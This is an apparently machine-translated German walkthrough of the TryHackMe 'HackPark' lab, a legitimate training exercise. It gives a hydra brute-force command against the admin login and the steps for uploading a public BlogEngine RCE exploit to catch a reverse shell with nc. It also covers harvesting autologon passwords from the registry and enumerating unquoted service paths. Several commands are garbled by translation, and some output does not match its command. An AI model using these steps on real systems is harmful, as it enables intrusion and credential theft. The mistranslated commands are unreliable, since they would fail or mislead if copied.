HackPark – TryHackMe – Handbuch Beschreibung

Reading Time: ( Word Count: )

Februar 21, 2021
Nextdoorsec-course

Intro

Dieser Rechner behandelt das Erzwingen von Anmeldedaten und den Umgang mit öffentlichen Exploits. Hier ist ein Link zu der Box.

 

Aufzählung

Nmap-Scan

Wie üblich beginnen wir mit einem Nmap-Scan.

┌──(kali㉿kali)-[~] └─$ export IP=10.10.219.247 ┌──(kali㉿kali)-[~] └─$ nmap -A -p- -v -Pn $IP
PORT ZUSTAND SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: | Unterstützte Methoden: GET HEAD OPTIONS TRACE POST |_ Potenziell riskante Methoden: TRACE | http-robots.txt: 6 nicht zugelassene Einträge | /Konto/*.* /Suche /Suche.aspx /error404.aspx |_/Archiv/Archiv.aspx |_http-server-header: Microsoft-IIS/8.5 |_http-title: hackpark | hackpark amusements 3389/tcp open ssl/ms-wbt-server? | ssl-zertifikat: Betreff: commonName=hackpark | Emittent: commonName=hackpark | Typ des öffentlichen Schlüssels: rsa | Öffentlicher Schlüssel Bits: 2048 | Signatur-Algorithmus: sha1WithRSAEncryption | Nicht gültig vor: 2020-10-01T21:12:23 | Nicht gültig nach: 2021-04-02T21:12:23 | MD5: 3032 2fb5 4e45 55fa e4d8 a136 f99f 86d3 |_SHA-1: e191 17b5 7329 905e 23e3 93ca d5b1 fbac a510 663b |_ssl-date: 2021-02-09T08:23:14+00:00; -1s ab Scanner-Zeit. Service-Informationen: OS: Windows; CPE: cpe:/o:microsoft:windows

Wir haben einen offenen Microsoft-Webserver und einen RDP-Port. Während wir die Website untersuchen, suchen wir im Hintergrund nach weiteren interessanten Verzeichnissen.

 

Gobuster directory brute-forcing

┌──(kali㉿kali)-[~] └─$ gobuster dir -u $IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
=============================================================== Gobuster v3.0.1 von OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.33.120/ [+] Themen: 10 [+] Wortliste: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Statuscodes: 200,204,301,302,307,401,403 [+] Benutzer-Agent: gobuster/3.0.1 [+] Redir folgen: wahr [+] Erweitert: wahr [+] Zeitüberschreitung: 10s =============================================================== 2021/02/09 11:14:40 Gobuster starten =============================================================== http://10.10.33.120/contact (Stand: 200) http://10.10.33.120/search (Stand: 200) http://10.10.33.120/archives (Stand: 200) http://10.10.33.120/archive (Stand: 200) http://10.10.33.120/content (Status: 403) http://10.10.33.120/contactus (Stand: 200) http://10.10.33.120/contacts (Stand: 200) http://10.10.33.120/contact_us (Stand: 200) http://10.10.33.120/admin (Stand: 200)

Mit den Ergebnissen von gobuster finden wir die Admin-Login-Seite. Die Überprüfung des Anfragetyps durch Inspektion des Formularelements zeigt uns POST-Anfragen, die Daten an den Webserver senden.

Wir haben auch festgestellt, dass der Benutzername admin ist, der in der URL des Anmeldeformulars angezeigt wird. Da wir nun den Anfragetyp kennen und eine URL für das Anmeldeformular haben, können wir mit dem Brute-Force-Verfahren für das Konto beginnen.

 

Ausbeutung

Hydra-Konto brute-forcing

1. Rufen Sie die Anmeldeseite der Website auf und versuchen Sie, sich mit zufälligen Anmeldedaten anzumelden.
2. Drücken Sie„F12“ oder öffnen Sie in Firefox die Funktion Toolsumschalten „.
3. Wählen Sie die Registerkarte„Netzwerk„.
4. Versuchen Sie, sich mit zufälligen Anmeldedaten anzumelden.
5. Suchen Sie in der Spalte„Methode“ die Anfrage„POST“ und wählen Sie sie aus.
6. Kopieren Sie die URL, die mit„/Account/login“ beginnt, und fügen Sie sie irgendwo ein, um Ihren Befehl zu erstellen:

7. Klicken Sie auf der rechten Registerkarte auf„Anfrage„, scrollen Sie ganz nach unten und kopieren Sie den Inhalt von Nutzlast derAnfrage „, und fügen Sie ihn durch einen Doppelpunkt ( : ) getrennt an den vorherigen Link an.

8. Ersetzen Sie Ihren eingegebenen Benutzernamen und Ihr Passwort durch ^USER^ & ^PASS^
9. Fügen Sie am Ende Ihres Befehls „:Login failed“ hinzu.
10. Ergebnis:

┌──(kali㉿kali)-[~] └─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV $IP http-post-form [space] '/Account/login.aspx?ReturnURL=/admin/:%2FVTx8KiWtMV4nKZ2uJ6UcDNcYj6zh5gqaKJYVe7nrldsqKahaN76%%2F4h5AjHQ769OAAq1pJvXMoY%%24MainContent%:Login fehlgeschlagen'

Diese Zeichenfolge besteht aus drei Teilen, die durch Doppelpunkte getrennt sind:
Pfad zur Seite des Anmeldeformulars : Anfragetext : Fehlermeldung, die den Fehler anzeigt

 

Searchsploit

Nachdem wir uns als Administrator angemeldet haben, stellen wir fest, dass die BlogEngine-Version 3.3.6.0 ist und suchen nach einem Exploit:

┌──(kali㉿kali)-[~] └─$ searchsploit blogengine 3 ---------------------------------------------------------------------------------- --------------------------------- Exploit-Titel | Pfad ---------------------------------------------------------------------------------- --------------------------------- BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection | xml/webapps/48422.txt BlogEngine 3.3 - XML External Entity Injection | windows/webapps/46106.txt BlogEngine 3.3.8 - 'Inhalt' Gespeicherte XSS | aspx/webapps/48999.txt BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting | asp/webapps/32874.txt BlogEngine.NET 1.6 - Verzeichnisumgehung / Offenlegung von Informationen | asp/webapps/35168.txt BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution | aspx/webapps/46353.cs BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Directory Traversal / Remote Code Executio | aspx/webapps/47010.py BlogEngine.NET 3.3.6/3.3.7 - 'path' Directory Traversal | aspx/webapps/47035.py BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie' Directory Traversal / Remote Code Exe | aspx/webapps/47011.py BlogEngine.NET 3.3.6/3.3.7 - XML External Entity Injection | aspx/webapps/47014.py ---------------------------------------------------------------------------------- --------------------------------- Shellcodes: Keine Ergebnisse

Kopieren Sie den Exploit lokal, ändern Sie die IP und den Port und beginnen Sie mit dem Abhören des gewählten Ports.

┌──(kali㉿kali)-[~] └─$ cp /usr/share/exploitdb/exploits/aspx/webapps/46353.cs ./PostView.ascx ┌──(kali㉿kali)-[~] └─$ gedit PostView.ascx ┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443

Nach der Beschreibung des Exploits müssen wir Folgendes tun:
1. Zum Inhalt navigieren
2. Beiträge
3. Neu
4. Exploit hochladen (Name muss PostView.ascx sein)
5. veröffentlichen.
6. Besuchen Sie http://TARGET_IP/?theme=../../App_Data/files um eine Hülle zu bekommen

Lauschen auf [any] 443 ... Verbindung zu [x .x.x.x] von (UNBEKANNT) [10 .10.3.192] 50120 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. Alle Rechte vorbehalten. c:\windows\system32\inetsrv> whoami c:\windows\system32\inetsrv>whoami iis apppool\blog

 

 

Privilegieneskalation

Systeminfo, um einen Überblick zu erhalten

Schauen wir uns die technischen Daten des Geräts an:

> Systeminfo
c:\windows\system32\inetsrv>systeminfo Host-Name: HACKPARK OS-Name: Microsoft Windows Server 2012 R2 Standard Betriebssystem-Version: 6.3.9600 N/A Build 9600 OS Hersteller: Microsoft Gesellschaft OS-Konfiguration: Eigenständiger Server OS Build-Typ: Multiprozessor Frei Registrierter Eigentümer: Windows User Eingetragene Organisation: Produkt-ID: 00252-70000-00000-AA886 Original-Installationsdatum: 8/3/2019, 10:43:23 AM Systemstartzeit: 2/9/2021, 3:19:24 AM Systemhersteller: Xen System-Modell: HVM domU Systemtyp: x64-basierter PC ...

 

 

Prüfung der Whoami-Privilegien

> whoami /priv
c:\windows\system32\inetsrv>systeminfo INFORMATIONEN ZU DEN RECHTEN ---------------------- Privileg Name Beschreibung Status ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Ersetzen eines Tokens auf Prozessebene Deaktiviert SeIncreaseQuotaPrivilege Anpassung der Speicherquoten für einen Prozess Deaktiviert SeAuditPrivilege Sicherheitsaudits generieren Deaktiviert SeChangeNotifyPrivilege Umgehung der Überprüfungsfunktion Aktiviert SeImpersonatePrivilege Einen Client nach der Authentifizierung impersonieren Aktiviert SeCreateGlobalPrivilege Globale Objekte erstellen Aktiviert SeIncreaseWorkingSetPrivilege Erhöhen einer Prozessarbeitsgruppe Deaktiviert

Windows verwendet Token, um sicherzustellen, dass Konten die richtigen Berechtigungen haben, um bestimmte Aktionen auszuführen. Kontomarken werden einem Konto zugewiesen, wenn sich Benutzer anmelden oder authentifiziert werden.

 

Es gibt zwei Arten von Zugangstokens:

  • primäre Zugriffstoken: die mit einem Benutzerkonto verbundenen Token, die bei der Anmeldung generiert werden
  • Impersonation-Tokens: Diese ermöglichen es einem bestimmten Prozess (oder Thread in einem Prozess), unter Verwendung des Tokens eines anderen (Benutzer-/Client-)Prozesses Zugang zu Ressourcen zu erhalten.

Wir könnten Token-Impersonation verwenden, um Zugang zum System zu erhalten.

Winlogon-Anmeldeinformationen

Überprüfen wir die Registrierung auf Benutzer-Autologon / Winlogon-Anmeldeinformationen:

> Reg-Abfrage "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
... LastUsedUsername REG_SZ administrator AutoAdminLogon REG_DWORD 0x1 DefaultUserName REG_SZ administrator DefaultPassword REG_SZ 4q6[redacted]Fdxs

Es sieht so aus, als hätten wir einige Admin-Zugangsdaten gefunden; lassen Sie uns den offenen RDP-Port verwenden, um eine Verbindung mit dem Rechner herzustellen.

> xfreerdp /dynamische-Auflösung +Zwischenablage /cert:ignore /v:$IP /u:administrator /p:'4q6X[redacted] dxs '

Wir haben die Flagge auf ungewöhnliche Weise wiedergefunden. Fahren wir auf dem normalen Weg fort, um eine weitere Schwäche dieser Box auszunutzen.

 

Nicht börsennotierte Dienstwege

Lassen Sie uns nach nicht quotierten Dienstwegen suchen:

> wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """
AWS Lite Guest Agent AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe Auto System Scheduler Service WindowsScheduler C:\PROGRA~2\SYSTEM~1\WService.exe Auto

Lassen Sie uns den Dienstnamen abfragen, um weitere Informationen zu erhalten.

> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS SERVICE_NAME: WindowsScheduler TYP : 10 WIN32_EIGENER_PROZESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORIEREN BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Scheduler Dienst ABHÄNGIGKEITEN : DIENST_START_NAME : LokalesSystem

Überprüfen Sie die Protokolldateien auf den richtigen Binärnamen, der automatisch ausgeführt wird. In der System-Scheduler-Map können Sie die Option message.exe mit einem generierten Shell-Exec, um eine Admin-Shell als Alternative zu erhalten.

Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Die Popularität des Esports und seine Trends

Esports, die Welt der wettbewerbsorientierten Videospiele, ist in den letzten Jahren sehr populär geworden. Es ...

Online-Spiele, bei denen Sie Geld gewinnen können

Im digitalen Zeitalter sind Online-Spiele mehr als nur eine Quelle der Unterhaltung geworden. Es hat sich zu einer ...

Netstat vs. Nmap vs. Netcat: Verstehen der Unterschiede

In der Netzwerk- und Systemadministration helfen verschiedene Tools den Fachleuten bei der Analyse und ...

Nmap vs. Nessus: Ein umfassender Vergleich

Was die Netzwerksicherheit und die Bewertung von Schwachstellen anbelangt, so sind Nmap und Nessus zwei populäre ...
0 Kommentare

Einen Kommentar abschicken

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert